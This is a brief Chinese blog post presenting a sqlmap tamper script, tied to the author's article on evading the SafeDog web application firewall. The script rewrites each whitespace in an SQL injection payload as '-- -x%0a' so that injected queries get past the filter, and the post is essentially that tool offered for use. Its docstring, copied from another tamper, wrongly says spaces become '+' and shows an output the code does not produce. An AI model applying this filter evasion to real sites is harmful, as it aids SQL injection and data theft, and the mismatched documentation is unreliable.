一个tamper脚本

这个脚本的编写是有关于我博客里面的一篇过狗文章 大家可以参考下

https://blog.csdn.net/q1352483315/article/details/90175002

#!/usr/bin/env python
# author:cbd666
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with plus ('+')

    Notes:
        * Is this any useful? The plus get's url-encoded by sqlmap engine invalidating the query afterwards
        * This tamper script works against all databases

    >>> tamper('SELECT id FROM users')
    'SELECT+id+FROM+users'
    """

    retVal = payload

    if payload:
        retVal = re.sub(r'\s',r"-- -x%0a",payload)

    return retVal